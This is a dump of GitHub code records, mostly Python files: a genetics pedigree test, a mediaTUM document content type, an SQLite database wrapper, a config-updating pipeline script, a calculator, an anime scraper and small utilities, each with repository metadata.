\"F\", False)\n\n I3.add_parent_child_relationship(I1, \"M\")\n I3.add_parent_child_relationship(I2, \"F\")\n I4.add_parent_child_relationship(I1, \"M\")\n I4.add_parent_child_relationship(I2, \"F\")\n I5.add_parent_child_relationship(I3, \"F\")\n I6.add_parent_child_relationship(I4, \"M\")\n I7.add_parent_child_relationship(I3, \"F\")\n I8.add_parent_child_relationship(I4, \"M\")\n I9.add_parent_child_relationship(I5, \"M\")\n I10.add_parent_child_relationship(I6, \"F\")\n I11.add_parent_child_relationship(I7, \"M\")\n I12.add_parent_child_relationship(I8, \"F\")\n\n individuals_11 = [I1, I2, I3, I4, I5, I6, I7, I8, I9, I10, I11, I12]\n pedigree11 = Pedigree(individuals_11)\n print(pedigree11.find_mode_of_inheritance())\n\n # Test Pedigree 12 - X-Linked Recessive\n I1 = Individual(\"I1\", \"F\", False)\n I2 = Individual(\"I2\", \"M\", True)\n I3 = Individual(\"I3\", \"M\", False)\n I4 = Individual(\"I4\", \"F\", False)\n I5 = Individual(\"I5\", \"M\", True)\n I6 = Individual(\"I6\", \"F\", False)\n I7 = Individual(\"I7\", \"M\", False)\n I8 = Individual(\"I8\", \"F\", False)\n I9 = Individual(\"I9\", \"M\", True)\n I10 = Individual(\"I10\", \"F\", False)\n I11 = Individual(\"I11\", \"M\", False)\n I12 = Individual(\"I12\", \"F\", False)\n\n I3.add_parent_child_relationship(I1, \"F\")\n I3.add_parent_child_relationship(I2, \"M\")\n I4.add_parent_child_relationship(I1, \"F\")\n I4.add_parent_child_relationship(I2, \"M\")\n I5.add_parent_child_relationship(I4, \"F\")\n I6.add_parent_child_relationship(I3, \"M\")\n I7.add_parent_child_relationship(I3, \"M\")\n I8.add_parent_child_relationship(I4, \"F\")\n I9.add_parent_child_relationship(I6, \"F\")\n I10.add_parent_child_relationship(I7, \"M\")\n I11.add_parent_child_relationship(I8, \"F\")\n I12.add_parent_child_relationship(I8, \"F\")\n\n individuals_12 = [I1, I2, I3, I4, I5, I6, I7, I8, I9, I10, I11, I12]\n pedigree12 = Pedigree(individuals_12)\n print(pedigree12.find_mode_of_inheritance())\n","repo_name":"franklinnguyen/PedigreeProfiler","sub_path":"pedigree_profiler.py","file_name":"pedigree_profiler.py","file_ext":"py","file_size_in_byte":15328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17094077934","text":"import logging\n\nimport core.config as config\nimport os\nimport shutil\nimport codecs\nfrom utils.utils import splitfilename, u, OperationException, utf8_decode_escape\nfrom utils.search import import_node_fulltext\nfrom web.frontend.filehelpers import version_id_from_req\nfrom schema.schema import VIEW_HIDE_EMPTY, Metafield\nfrom core.translation import lang, t\nfrom lib.pdf import parsepdf\nfrom core.attachment import filebrowser\nfrom contenttypes.data import Content, prepare_node_data\nfrom core.postgres import check_type_arg_with_schema\nfrom core import File\nfrom core import db\nfrom core.request_handler import get_header as _get_header\nfrom core.request_handler import sendFile as _sendFile\nfrom contenttypes.data import BadFile as _BadFile\n\nlogg = logging.getLogger(__name__)\n\n\ndef _prepare_document_data(node, req, words=\"\"):\n obj = prepare_node_data(node, req)\n if obj[\"deleted\"]:\n # no more processing needed if this object version has been deleted\n # rendering has been delegated to current version\n return obj\n\n files, sum_size = filebrowser(node, req)\n\n obj['attachment'] = files\n obj['sum_size'] = sum_size\n obj['bibtex'] = False\n\n if node.getMask(u\"bibtex\"):\n obj['bibtex'] = True\n\n if node.has_object():\n obj['canseeoriginal'] = node.has_data_access()\n if node.system_attrs.get('origname') == \"1\":\n obj['documentlink'] = u'/doc/{}/{}'.format(node.id, node.name)\n obj['documentdownload'] = u'/download/{}/{}'.format(node.id, node.name)\n else:\n obj['documentlink'] = u'/doc/{}/{}.pdf'.format(node.id, node.id)\n obj['documentdownload'] = u'/download/{}/{}.pdf'.format(node.id, node.id)\n\n if not node.isActiveVersion():\n version_id = unicode(version_id_from_req(req))\n obj['documentlink'] += \"?v=\" + version_id\n obj['documentdownload'] += \"?v=\" + version_id\n\n else:\n obj['canseeoriginal'] = False\n\n obj['documentthumb'] = u'/thumb2/{}'.format(node.id)\n if not node.isActiveVersion():\n version_id = unicode(version_id_from_req(req))\n obj['documentthumb'] += \"?v=\" + version_id\n obj['tag'] = version_id\n\n # XXX: do we really need this spider filtering?\n user_agent = _get_header(req, \"user-agent\") or \"\"\n is_spider = \"oogle\" in user_agent or \"aidu\" in user_agent\n \n if is_spider:\n # don't confuse search engines with the PDF link\n obj['documentdownload'] = None\n\n full_style = req.args.get(\"style\", \"full_standard\")\n if full_style:\n obj['style'] = full_style\n\n return obj\n\n\n@check_type_arg_with_schema\nclass Document(Content):\n\n @classmethod\n def get_original_filetype(cls):\n return \"document\"\n\n @classmethod\n def get_sys_filetypes(cls):\n return [u\"document\", u\"thumb\", u\"thumb2\", u\"presentation\", u\"fulltext\", u\"fileinfo\"]\n\n @classmethod\n def get_default_edit_menu_tabs(cls):\n return \"menulayout(view);menumetadata(metadata;files;admin);menuclasses(classes);menusecurity(acls)\"\n\n def _prepareData(self, req, words=\"\"):\n return _prepare_document_data(self, req)\n\n @property\n def document(self):\n # XXX: this should be one() instead of first(), but we must enforce this unique constraint in the DB first\n return self.files.filter_by(filetype=u\"document\").first()\n\n def has_object(self):\n return self.document is not None\n\n \"\"\" postprocess method for object type 'document'. called after object creation \"\"\"\n def event_files_changed(self):\n logg.debug(\"Postprocessing node %s\", self.id)\n\n thumb = 0\n fulltext = 0\n doc = None\n present = 0\n fileinfo = 0\n for f in self.files:\n if f.type == \"thumb\":\n thumb = 1\n elif f.type.startswith(\"present\"):\n present = 1\n elif f.type == \"fulltext\":\n fulltext = 1\n elif f.type == \"fileinfo\":\n fileinfo = 1\n elif f.type == \"document\":\n doc = f\n if not doc:\n for f in self.files:\n if f.type == \"thumb\":\n self.files.remove(f)\n elif f.type.startswith(\"present\"):\n self.files.remove(f)\n elif f.type == \"fileinfo\":\n self.files.remove(f)\n elif f.type == \"fulltext\":\n self.files.remove(f)\n\n #fetch unwanted tags to be omitted\n unwanted_attrs = self.get_unwanted_exif_attributes()\n\n if doc:\n path, ext = splitfilename(doc.abspath)\n\n if not (thumb and present and fulltext and fileinfo):\n thumbname = path + \".thumb\"\n thumb2name = path + \".thumb2\"\n fulltextname = path + \".txt\"\n infoname = path + \".info\"\n tempdir = config.get(\"paths.tempdir\")\n\n try:\n pdfdata = parsepdf.parsePDFExternal(doc.abspath, tempdir)\n except parsepdf.PDFException as ex:\n if ex.value == 'error:document encrypted':\n # allow upload of encrypted document\n db.session.commit()\n return\n raise OperationException(ex.value)\n except Exception as exc:\n if str(exc)==\"DecompressionBombError\": # must match error string in parsepdf.py\n raise _BadFile(\"image_too_big\")\n raise\n with codecs.open(infoname, \"rb\", encoding='utf8') as fi:\n for line in fi.readlines():\n i = line.find(':')\n if i > 0:\n if any(tag in line[0:i].strip().lower() for tag in unwanted_attrs):\n continue\n self.set(\"pdf_\" + line[0:i].strip().lower(), utf8_decode_escape(line[i + 1:].strip()))\n\n self.files.append(File(thumbname, \"thumb\", \"image/jpeg\"))\n self.files.append(File(thumb2name, \"presentation\", \"image/jpeg\"))\n self.files.append(File(fulltextname, \"fulltext\", \"text/plain\"))\n self.files.append(File(infoname, \"fileinfo\", \"text/plain\"))\n\n if doc:\n import_node_fulltext(self, overwrite=True)\n\n db.session.commit()\n\n def get_unwanted_exif_attributes(self):\n '''\n Returns a list of unwanted attributes which are not to be extracted from uploaded documents\n @return: list\n '''\n return ['creator',\n 'producer']\n\n \"\"\" list with technical attributes for type document \"\"\"\n def getTechnAttributes(self):\n return {\"PDF\": {\"pdf_moddate\": \"Datum\",\n \"pdf_file size\": \"Dateigröße\",\n \"pdf_title\": \"Titel\",\n \"pdf_creationdate\": \"Erstelldatum\",\n \"pdf_author\": \"Autor\",\n \"pdf_pages\": \"Seitenzahl\",\n \"pdf_producer\": \"Programm\",\n \"pdf_pagesize\": \"Seitengröße\",\n \"pdf_creator\": \"PDF-Erzeugung\",\n \"pdf_encrypted\": \"Verschlüsselt\",\n \"pdf_tagged\": \"Tagged\",\n \"pdf_optimized\": \"Optimiert\",\n \"pdf_linearized\": \"Linearisiert\",\n \"pdf_version\": \"PDF-Version\"},\n\n \"Common\": {\"pdf_print\": \"druckbar\",\n \"pdf_copy\": \"Inhalt entnehmbar\",\n \"pdf_change\": \"änderbar\",\n \"pdf_addnotes\": \"kommentierbar\"},\n \"Standard\": {\"creationtime\": \"Erstelldatum\",\n \"creator\": \"Ersteller\"}}\n\n \"\"\" popup window for actual nodetype \"\"\"\n def popup_fullsize(self, req):\n if not self.has_data_access() or not self.has_read_access():\n req.write(t(req, \"permission_denied\"))\n return\n\n document = self.document\n\n if document is not None:\n _sendFile(req, document.abspath, document.mimetype)\n\n def popup_thumbbig(self, req):\n self.popup_fullsize(req)\n\n def processDocument(self, dest):\n for file in self.files:\n if file.filetype == \"document\":\n filename = file.abspath\n try:\n shutil.copy(filename, dest)\n except:\n logg.exception(\"while copying file\")\n return 1\n\n def metaFields(self, lang=None):\n metafields = []\n\n field = Metafield(u\"nodename\", attrs={\n \"label\": t(lang, \"node name\"),\n \"type\": u\"text\"\n })\n metafields.append(field)\n return metafields\n","repo_name":"mediatum/mediatum","sub_path":"contenttypes/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":8933,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"5974589118","text":"#Richard Albert Nichols III (inhahe@gmail.com)\n\nimport re\nword = raw_input(\"ENTER YOUR WORD: \").upper()\ndict = open(\"cmudict.0.6d\",\"r\")\nwhile True:\n line1 = dict.readline().split() \n if line1 == []: break\n if line1[0]==word:\n dict.seek(0)\n while True:\n line2 = dict.readline().split()\n if line2==[]: break\n if line2[0][:2]==\"##\": continue\n for phonemes3, phonemes5, p in (([re.sub(\"\\d\",\"\",x) for x in line1[1:]], [re.sub(\"\\d\", \"\", x) for x in line2[1:]], 0), (line1[1:][:], line2[1:], 1)):\n for phoneme in phonemes5:\n if phoneme in phonemes3: phonemes3.remove(phoneme)\n else: break\n else:\n print (\"\\n\"+line2[0], \"*\")[p],\n\n\n\n\n\n \n\n\n \n\n\n\n \n\n \n","repo_name":"inhahe/phongram","sub_path":"phongram.py","file_name":"phongram.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40511501715","text":"# -*- coding: utf-8 -*-\nfrom setuptools import setup, find_packages\n\nwith open('requirements.txt') as f:\n\tinstall_requires = f.read().strip().split('\\n')\n\n# get version from __version__ variable in erpnext_helper/__init__.py\nfrom erpnext_helper import __version__ as version\n\nsetup(\n\tname='erpnext_helper',\n\tversion=version,\n\tdescription='Setting up Self Hosted sites via Mdifferent Marketplaces',\n\tauthor='Frappe Technologies Pvt Ltd',\n\tauthor_email='developers@frappe.io',\n\tpackages=find_packages(),\n\tzip_safe=False,\n\tinclude_package_data=True,\n\tinstall_requires=install_requires\n)\n","repo_name":"Islammoustafa95/erpnext_helper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19184146065","text":"from __future__ import annotations\n\nimport typing\n\nimport aiosqlite\n\nfrom .types import DriverWrapper\n\nif typing.TYPE_CHECKING:\n from .types import UserDatabaseConfig, DatabaseConfig\n from .model import DatabaseWrapper, DatabaseTransaction\n\n class SQLiteDatabaseWrapper(DatabaseWrapper):\n config: UserDatabaseConfig\n pool: None\n conn: typing.Optional[aiosqlite.Connection]\n cursor: typing.Optional[aiosqlite.Cursor]\n caller: aiosqlite.Connection\n\n class SQLiteDatabaseTransaction(DatabaseTransaction):\n parent: SQLiteDatabaseWrapper\n _transaction: None\n is_active: bool\n commit_on_exit: bool\n\n\nclass RowWrapper(aiosqlite.Row):\n\n def values(self):\n for i in self.keys():\n yield self[i]\n\n def items(self):\n for i in self.keys():\n yield (i, self[i])\n\n\nclass SQLiteWrapper(DriverWrapper):\n\n @staticmethod\n async def create_pool(config: DatabaseConfig) -> None:\n return None\n\n @staticmethod\n async def get_connection(dbw: typing.Type[SQLiteDatabaseWrapper]) -> SQLiteDatabaseWrapper:\n connection = await aiosqlite.connect(dbw.config.get(\"database\"))\n connection.row_factory = RowWrapper\n v = dbw(\n conn=connection,\n )\n v.is_active = True\n return v\n\n @staticmethod\n async def release_connection(dbw: SQLiteDatabaseWrapper) -> None:\n assert dbw.conn\n await dbw.conn.close()\n if dbw.cursor:\n try:\n await dbw.cursor.close()\n except ValueError:\n pass\n dbw.cursor = None\n dbw.conn = None\n dbw.is_active = False\n\n @staticmethod\n async def fetch(dbw: SQLiteDatabaseWrapper, sql: str, *args) -> typing.List[typing.Any]:\n if dbw.cursor:\n try:\n await dbw.cursor.close()\n except ValueError:\n pass\n dbw.cursor = None\n cursor: aiosqlite.Cursor = await dbw.caller.execute(sql, args)\n await dbw.conn.commit()\n dbw.cursor = cursor\n return await cursor.fetchall() or list()\n\n @staticmethod\n async def executemany(dbw: SQLiteDatabaseWrapper, sql: str, *args_list) -> None:\n assert dbw.conn\n await dbw.caller.executemany(sql, args_list)\n\n def prepare(self) -> typing.Generator[str, None, None]:\n while True:\n yield \"?\"\n","repo_name":"Voxel-Fox-Ltd/Novus","sub_path":"discord/ext/vbu/cogs/utils/database/sqlite_.py","file_name":"sqlite_.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"82"} +{"seq_id":"15863577873","text":"import sys\nimport requests\nimport os\nimport json\n\nprint('Number of arguments:', len(sys.argv), 'arguments.')\nprint('Argument List:', str(sys.argv))\nprint('working in directory:', os.getcwd())\n\nuniversalAssetsPath = os.path.join(os.path.dirname(os.getcwd()),\"assets\")\n\nsha = \"\"\nrepo_url = \"\"\nif len(sys.argv) >= 2:\n sha = sys.argv[2]\n repo_url = sys.argv[1].split(\"/\")\n repo_name = \"%s/%s\"%(repo_url[-2],repo_url[-1])\n url = r\"https://api.github.com/repos/%s/commits/%s\" %(repo_name, sha)\n author = \"\"\n touchedFiles = []\n receive = requests.get(url)\n if receive.status_code == 200:\n ret = receive.json()\n if \"author\" in ret.keys() and \"login\" in ret[\"author\"]:\n author = ret[\"author\"][\"login\"]\n if \"files\" in ret.keys():\n for f in ret[\"files\"]:\n if \"filename\" in f: touchedFiles.append(f[\"filename\"])\n \n print(\"\\n\\n%s modified files [\\n%s\\n]\" %(author, ',\\n'.join(touchedFiles)))\n \n else:\n print(\"url: '%s' error in request.\" %url)\nelse:\n print(\"necessary args not included.\")\n \ntouched = {}\ntouchedDirs = []\nfor tF in touchedFiles:\n tF_split = tF.split(\"/\")\n if len(tF_split) >= 1:\n full_tF = os.path.join(tF_split[0],tF_split[1])\n if full_tF not in touchedDirs: touchedDirs.append(full_tF)\n\nfor tD in touchedDirs:\n entry = []\n for tF in touchedFiles:\n if tD in tF: entry.append(tF)\n touched[tD] = entry\n\nfor key in touched:\n print(key)\n print(touched[key])\n potential = \"\"\n if \"games\" in key:\n print(\"this is a game: '%s'\"%key)\n potential = r\"2. Implementation/14. Data/TP_config.json\"\n elif \"casino\" in key:\n print(\"this is a casino: '%s'\"%key)\n potential = r\"2. Implementation/14. Data/TP_config.json\"\n else:\n print(\"this isn't valid and should be ignored.\")\n\n full_tf = os.path.join(universalAssetsPath, key, potential)\n print(full_tf)\n if not os.path.exists(full_tf):\n print(\"TP_config file not found. should make one?\")\n else:\n print(\"TP_config file found. does contain this file in assets?\")\n\n f = open(full_tf)\n jsondata = json.load(f)\n jsondata[\"rand\"] = sha\n f.close()\n\n os.remove(full_tf)\n with open(full_tf, 'w') as out:\n json.dump(jsondata, out)\n\n for tf in touched[key]:\n fp = os.path.join(universalAssetsPath,tf)\n print(\"'%s' exists: %s\" % (tf, os.path.exists(fp)))","repo_name":"wmwilson87/HelloWorld_link","sub_path":"pipeline/tpAssets_updates.py","file_name":"tpAssets_updates.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73691980429","text":"#!/usr/bin/python3\nif __name__ == \"__main__\":\n\n from calculator_1 import add, sub, div, mul\n\n import sys\n args = sys.argv\n operators = {\"+\": add, \"-\": sub, \"/\": div, \"*\": mul}\n\n if len(args) - 1 != 3:\n print(\"Usage: ./100-my_calculator.py \")\n sys.exit(1)\n if args[2] not in list(operators.keys()):\n print(\"Unknown operator. Available operators: +, -, * and /\")\n sys.exit(1)\n\n a = int(args[1])\n b = int(args[3])\n\n print(\"{} {} {} = {}\".format(a, args[2], b, operators[args[2]](a,b)))\n","repo_name":"irungundigirigi/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34492037696","text":"import unittest\nimport requests\nimport integration\n\nURL_1 = \"http://localhost:9000/\"\nURL_2 = \"http://localhost:9001/\"\nURL_3 = \"http://localhost:9002/\"\nURL_4 = \"http://localhost:9003/\"\n\ndef check(URL):\n\tresponse = integration.get(URL + \"index.html\")\n\tassert response.status_code == 200\n\tassert \"main\" in response.text\n\tresponse = integration.get(URL + \"location/index.html\")\n\t# assert response.status_code == 200\n\t# assert \"location\" in response.text\n\ncheck(URL_1)\ncheck(URL_2)\ncheck(URL_3)\ncheck(URL_4)","repo_name":"erick-medeiros/42sp-webserv","sub_path":"tests/integration/2_root/location_root/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"9544571417","text":"COL_WIDTH = 20\n\n\ndef text_to_columns(text):\n \"\"\"Split text (input arg) to columns, the amount of double\n newlines (\\n\\n) in text determines the amount of columns.\n Return a string with the column output like:\n line1\\nline2\\nline3\\n ... etc ...\n See also the tests for more info.\"\"\"\n parts = text.split('\\n\\n')\n result = ''\n while any(len(part) > 0 for part in parts):\n idx = [(part+' ').rfind(' ', 0, COL_WIDTH+1) for part in parts]\n result += ' '.join([f'{part[:ind].strip():{COL_WIDTH}}'\n for ind, part in zip(idx, parts)]) + '\\n'\n parts = [part[ind+1:] for ind, part in zip(idx, parts)]\n return result\n","repo_name":"gleberof/PyBites","sub_path":"53/text2cols.py","file_name":"text2cols.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28920547269","text":"sosus = [2]\nres = []\nm = int(input())\nn = int(input())\nif m<=2 and n>=2:\n res.append(2)\nfor i in range(2, n+1):\n issosu = True\n for sosu in sosus:\n if i%sosu == 0:\n issosu = False\n if issosu:\n sosus.append(i)\n if i>=m:\n res.append(i)\nif len(res):\n print(sum(res))\n print(min(res))\nelse:\n print(-1)","repo_name":"codingnoye/eachday-algo","sub_path":"2581.py","file_name":"2581.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"23227754068","text":"\nimport streamlit as st\n\nfrom app.views.professor_commons import sidebar_professor\nfrom app.models.conteudos import create_conteudo\nfrom app.models.subjects import get_subject_names\n\ndef conteudos_create_page():\n \"\"\"\n View para cadastro de conteúdos.\n \"\"\"\n sidebar_professor()\n st.title(\"Cadastro de Conteúdo\")\n content_name = st.text_input(\"Nome do Conteúdo\")\n selected_subject = st.selectbox(\"Matéria\", get_subject_names())\n date = st.date_input(\"Data de Cadastro\")\n description = st.text_area(\"Descrição do Conteúdo\", height=200)\n if st.button(\"Cadastrar\"):\n print(f'Novo conteúdo: {content_name} - {selected_subject} - {date} - {description}')\n data = {\n \"content_name\": content_name,\n \"subject\": selected_subject,\n \"date\": date.strftime(\"%d-%m-%Y\"),\n \"description\": description,\n }\n res = create_conteudo(data)\n if res:\n st.success(\"Conteúdo cadastrado com sucesso!\")\n else:\n st.error(\"Erro ao cadastrar conteúdo.\")\n","repo_name":"eduardoferreirajaworiwski/a3modelos","sub_path":"src/app/views/conteudos_create.py","file_name":"conteudos_create.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32991092929","text":"from tkinter import *\nfrom datetime import datetime\n\nright_go = False\n\ndef press(event):\n global right_go, t_0\n if event.keysym == \"space\" and right_go != True:\n right_go = True\n t_0 = datetime.now()\n\n\nwin = Tk()\n\nwin.title = (\"Game\")\nwin.geometry(\"1000x500\")\n\n\nwin.bind(\"\", press)\n\n\ncvs = Canvas(win)\ncvs.config(width = 1000, height = 500, bd = 0, highlightthickness = 0)\np1 = (0, 200)\np2 = (100, 300)\nsqr = cvs.create_rectangle(p1, p2, fill = \"green\")\n\nvelo = 1000 / 10\n\ncvs.pack()\n\nwin.update()\n\n\nwhile True:\n cvs.delete(sqr)\n if(right_go == True):\n t_now = datetime.now()\n t_delta = (t_now - t_0).total_seconds()\n p1_x = round(0 + velo * t_delta)\n p2_x = p1_x + 100\n p1 = (p1_x, 200)\n p2 = (p2_x, 300)\n sqr = cvs.create_rectangle(p1, p2, fill = \"green\")\n win.update()","repo_name":"KIJUN24/Python","sub_path":"GameMake/GM_1/step3-2.py","file_name":"step3-2.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39730301595","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"ex03_variable_assign_变量赋值.py\n变量赋值\"\"\"\n\n# 单变量赋值\nauthor = '达内'\n\n# 多变量赋相同值\ncourse = skill = 'Python'\n\n# 多变量赋不同值\nname, age = '小铭', 18\n\n# 变量交换\ncourse, skill = skill, course\n\n# 函数作为值传递给新的变量\nshow = print\n\n# 输出\nshow(author, course, skill, name, age)\n","repo_name":"derekramm/core_python","sub_path":"unit07_变量的声明和使用/ex03_variable_assign_变量赋值.py","file_name":"ex03_variable_assign_变量赋值.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32694759836","text":"import pandas as pd\nfrom pandas.core.frame import DataFrame\nfrom pandas.core.groupby.generic import DataFrameGroupBy\n\ndata_file = 'data\\\\verbs.csv'\n\n\ndef get_verbo(): #get verb paradigm\n\n inf = input('\\n\\nInfinitive:').rstrip()\n past = input('\\nPast form:').rstrip()\n part = input('\\nPast participle:').rstrip()\n ita = input('\\nItalian:').rstrip()\n print('\\n\\n')\n return ( inf, past, part, ita )\n\n\ntry: \n lista_verbi = pd.read_csv( data_file, header = 0, index_col=0 )\n print( lista_verbi )\n\n\nexcept FileNotFoundError:\n\n lista_verbi = pd.DataFrame( columns=['infinitive', 'past', 'past participle', 'italiano'] )\n\nprint(\"Add the verbs. Press ctrl+c to exit and save\")\n\n\ntry:\n\n while True:\n\n verbo_nuovo = get_verbo()\n print( verbo_nuovo )\n\n if input('Correct?ENTER for yes\\t') == '':\n \n lista_verbi.loc[len( lista_verbi )] = verbo_nuovo\n\n else:\n print(\"\\ncorrect the entry:\\n\")\n\n\nexcept KeyboardInterrupt:\n\n print('\\n\\n\\nSaving to file')\n\n lista_verbi = lista_verbi.drop_duplicates()\n \n lista_verbi.to_csv( data_file )\n\n\nprint( lista_verbi )\n","repo_name":"AlbertoGirardi/English_irregular_verbs_quiz","sub_path":"src/create_verb_list.py","file_name":"create_verb_list.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32451473631","text":"import pathlib\nimport os.path\n\n\nclass Doc:\n\n KEYWORDS = {\n 'PARAM_LINE' : '@param:', # func params\n 'DESC_LINE' : '@desc:', # func description\n 'RETURN_LINE' : '@return:', # func returns\n 'NAME_LINE' : '@name:', # API doc name\n 'API_DESC_LINE' : '@description:' # API doc description\n }\n\n RETURN_BOLD_MD = '- **returns**'\n END_LINE = '\\n#\\n'\n SECTION_SEPR_MD = '\\n
    \\n\\n'\n FUNC_START = '```C\\n'\n FUNC_END = '\\n```\\n'\n DOC_END = ' * */\\n'\n\n def __init__(self, infile, outfile):\n self.infile = infile # file to create the doc for\n self.outfile = outfile # the doc file to be created\n\n self.name = ''\n self.description = ''\n self.info_list = [] # should end up being something like [@desc, @param, @param, @return]\n self.func_name = ''\n\n # make sure files are usuable for the program\n error_check(self.infile, self.outfile)\n\n def handle_keyword_line(self, line):\n '''\n Handle a line containing a cdox keyword, parse it as necessary,\n and either return it or write it to the markdown file.\n\n Params: line\n A line from the file that contains a cdox keyword.\n\n Returns:\n None if the line does not contain a keyword\n otherwise it defines the global class variables.\n '''\n index = line.find(':')+2\n doc_line = line[index:]\n\n if self.KEYWORDS['NAME_LINE'] in line:\n self.name = f'# {doc_line.strip()} documentation\\n'\n elif self.KEYWORDS['API_DESC_LINE'] in line:\n self.description = f'{doc_line} {self.END_LINE}'\n # bullet points\n elif self.KEYWORDS['RETURN_LINE'] in line:\n self.info_list.append(f'{self.RETURN_BOLD_MD} {doc_line}')\n elif self.KEYWORDS['PARAM_LINE'] in line:\n self.info_list.append(f'- {doc_line}')\n elif self.KEYWORDS['DESC_LINE'] in line:\n self.info_list.append(f'{doc_line}')\n else:\n return None\n\n def get_func_name(self, line):\n '''\n Parses a line containing a function parameter\n and returns it ready to be written to the doc.\n\n Params: line\n A line from the file being read from - expects a function in the line.\n\n Returns:\n A formatted code string to be written to the markdown doc.\n '''\n # chars that might be in the func line that we don't want\n junk = ['{', ';']\n for jank in junk:\n if jank in line:\n line = line.replace(jank, '')\n\n return f'{self.FUNC_START}{line.strip()} {self.FUNC_END}'\n\n def write_name_desc(self, doc):\n '''\n Writes the object's @name and @description varibles to the top\n of the markdown doc. then erases them.\n\n Params: doc\n The markdown file being written to.\n\n '''\n doc.write(self.name)\n doc.write(self.description)\n self.name = ''\n self.description = ''\n\n def doc_write(self, doc):\n '''\n Write all the info pertaining to a funtion to the markdown doc\n then erase the global variables to be used for another function.\n\n Params: doc\n The markdown file being written to.\n '''\n doc.write(self.func_name)\n for el in self.info_list:\n doc.write(el)\n doc.write(self.SECTION_SEPR_MD)\n self.info_list.clear()\n self.func_name = ''\n\n def parse_file(self):\n '''\n Open the markdown file, and parse the necessary lines from the source code file,\n and write the documentation.\n '''\n # file we're writing to, at this point, we're sure it'll open\n doc = open(self.outfile, 'w')\n\n with open(self.infile, 'r') as cfile:\n prev = ''\n line = cfile.readline()\n while line != '':\n if self.name != '' and self.description != '':\n self.write_name_desc(doc)\n # check if line contains any of the string constants above\n if any(keyword in line for keyword in self.KEYWORDS.values()):\n self.handle_keyword_line(line)\n elif prev == self.DOC_END:\n # we're at the function prototype/name\n self.func_name = self.get_func_name(line)\n # if we've got the function name, we write to the doc\n self.doc_write(doc)\n prev = line\n line = cfile.readline()\n doc.close()\n\n\ndef error_check(infile, outfile):\n '''\n Check that infile and outfile have specific file extentions and infile exists\n\n Params: infile, outfile\n infile - the file to be read from and create the doc for - expects .c or .h.\n outfile - the markdown documentation file to write.\n '''\n ok_files = ['.c', '.h', '.go']\n # check file extensions\n in_ext = pathlib.Path(infile).suffix # must be .c or .h\n out_ext = pathlib.Path(outfile).suffix # must .md\n\n assert (in_ext in ok_files), f'ERROR: {infile} is not a valid file'\n assert (out_ext == '.md'), f'ERROR: outfile must be markdown format'\n assert (os.path.exists(infile)), f'ERROR: {infile} not found'\n","repo_name":"breakthatbass/cdox","sub_path":"cdox/cdox.py","file_name":"cdox.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25437319985","text":"from requests import get\nfrom requests.exceptions import RequestException\nfrom contextlib import closing\nfrom bs4 import BeautifulSoup\nimport random\n\n\ndef simp_get(url):\n\n try:\n with closing(get(url, stream=True)) as resp:\n content_type = resp.headers['Content-Type'].lower()\n if resp.status_code == 200 and content_type and content_type.find('html') > -1:\n return resp.content\n else:\n return None\n \n except RequestException as e:\n print(\"Error during request to {}: {}\".format(url, str(e)))\n return None\n\ndef soup_it_up():\n soup = BeautifulSoup(simp_get(\"https://www.crunchyroll.com/videos/anime/popular\"), 'html.parser')\n\n shows = []\n\n temp_str = str()\n\n for a in soup.select('a'):\n if a.get('token') == 'shows-portraits':\n shows.append(a)\n\n# Random number\n random_num = random.randrange(0, len(shows))\n# for show in shows:\n x, y, z = list(map(str.strip, shows[random_num].text.strip().split('\\n')))\n temp_str += \"{}: {}\\nHere's the link! {}\\n\".format(x, z, \"https://www.crunchyroll.com\" + shows[random_num].get('href'))\n # print(list(map(str.strip, show.text.strip().split('\\n'))))\n\n return temp_str\n\nprint(soup_it_up())","repo_name":"pineapplegiant/anime_next","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7594146485","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt \n\ndfn = pd.read_csv('60n.csv')\ndfr = pd.read_csv('60r.csv')\ndfp = pd.read_csv('60p.csv')\n\n\ndef stats(df):\n ts = df[\"timestamp\"].iloc[0]\n cutoff = ts + 60000\n\n dfilt = df[df[\"timestamp\"] > cutoff] # drop first minute\n print(dfilt[\"duration\"].mean())\n 